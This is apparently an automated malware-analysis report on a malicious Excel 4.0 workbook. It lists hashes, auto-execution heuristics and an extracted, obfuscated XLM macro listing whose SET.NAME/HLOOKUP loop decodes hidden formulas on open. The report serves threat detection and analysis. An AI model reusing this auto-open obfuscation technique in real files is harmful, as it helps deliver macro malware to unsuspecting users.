Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61d207387cb9034a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:02 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fd85b1c71ded156d5f68ce31191fe275 SHA-1: d905c982b01bf452e01faa7c76998b64c82cc124 SHA-256: 61d207387cb9034a71d32b10c5f2f3982cea825052e8784a9085141acd70a9f0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6665 bytes
SHA-256: 60182fdf9426aa938a0523052116e18bddf5b01b4828cf9cbd2c08780f4e6001
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WWDbFO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I158 
' 0018     25 LABEL : Cell Value, String Constant - bapdSsOsqE len=0 
' 0018     26 LABEL : Cell Value, String Constant - bhDQKISkQIW len=0 
' 0018     21 LABEL : Cell Value, String Constant - CtsQKw len=0 
' 0018     22 LABEL : Cell Value, String Constant - CvbVYpX len=0 
' 0018     25 LABEL : Cell Value, String Constant - dIKBlUFkKf len=0 
' 0018     23 LABEL : Cell Value, String Constant - DrqmIgmA len=0 
' 0018     24 LABEL : Cell Value, String Constant - hJBnrWsVb len=0 
' 0018     20 LABEL : Cell Value, String Constant - HykTj len=0 
' 0018     23 LABEL : Cell Value, String Constant - IACjENsd len=0 
' 0018     24 LABEL : Cell Value, String Constant - IfoypIdgc len=0 
' 0018     26 LABEL : Cell Value, String Constant - lcfRtrCeQME len=0 
' 0018     24 LABEL : Cell Value, String Constant - LULLIsBno len=0 
' 0018     24 LABEL : Cell Value, String Constant - nXBKtiXdT len=0 
' 0018     24 LABEL : Cell Value, String Constant - otUdAYKeV len=0 
' 0018     22 LABEL : Cell Value, String Constant - oxfscqk len=0 
' 0018     27 LABEL : Cell Value, String Constant - PFAEiAfwSuei len=0 
' 0018     23 LABEL : Cell Value, String Constant - QqUccSCV len=0 
' 0018     20 LABEL : Cell Value, String Constant - TlZeB len=0 
' 0018     24 LABEL : Cell Value, String Constant - VhzhKcVRW len=0 
' 0018     20 LABEL : Cell Value, String Constant - WwTka len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WWDbFO,P48,"",-281.00000000000000000000
'  WWDbFO,P49,"",538.00000000000000000000
'  WWDbFO,P50,"",-829.00000000000000000000
'  WWDbFO,P51,"",-256.00000000000000000000
'  WWDbFO,P52,"",-102.00000000000000000000
'  WWDbFO,P53,"",-888.00000000000000000000
'  WWDbFO,I75,"SET.NAME("nXBKtiXdT",0+VALUE("0"))",""
'  WWDbFO,I79,"SET.NAME("TlZeB",nXBKtiXdT)",""
'  WWDbFO,I84,"SET.NAME("hJBnrWsVb",nXBKtiXdT)",""
'  WWDbFO,I87,"SET.NAME("CvbVYpX",COUNTA(IfoypIdgc))",""
'  WWDbFO,I89,"SET.NAME("bhDQKISkQIW",COUNTA(dIKBlUFkKf))",""
'  WWDbFO,I92,[],""
'  WWDbFO,I97,"SET.NAME("oxfscqk","")",""
'  WWDbFO,I99,"TlZeB",""
'  WWDbFO,I103,"SET.NAME("DrqmIgmA",HLOOKUP("*",IfoypIdgc,TlZeB,FALSE))",""
'  WWDbFO,I107,"QqUccSCV",""
'  WWDbFO,I110,"SET.NAME("LULLIsBno",nXBKtiXdT)",""
'  WWDbFO,I113,[],""
'  WWDbFO,I116,"LULLIsBno",""
'  WWDbFO,I119,"IACjENsd",""
'  WWDbFO,I121,"VhzhKcVRW",""
'  WWDbFO,I126,"otUdAYKeV",""
'  WWDbFO,I130,"SET.NAME("HykTj",VALUE(HLOOKUP("*",dIKBlUFkKf,otUdAYKeV,FALSE)))",""
'  WWDbFO,I135,"CtsQKw",""
'  WWDbFO,I138,"oxfscqk",""
'  WWDbFO,I140,"hJBnrWsVb",""
'  WWDbFO,I143,NEXT(),""
'  WWDbFO,I146,"PFAEiAfwSuei",""
'  WWDbFO,I149,[],""
'  WWDbFO,I151,"lcfRtrCeQME",""
'  WWDbFO,I153,NEXT(),""
'  WWDbFO,I156,RETURN(),""
'  WWDbFO,I183,"SET.NAME("WwTka",I75)",""
'  WWDbFO,I186,"IfoypIdgc",""
'  WWDbFO,I188,"SET.NAME("dIKBlUFkKf",R58C13)",""
'  WWDbFO,I192,"SET.NAME("lcfRtrCeQME",198)",""
'  WWDbFO,I195,"SET.NAME("bapdSsOsqE",9)",""
'  WWDbFO,I197,WwTka(),""
'  WWDbFO,I198,HALT(),""

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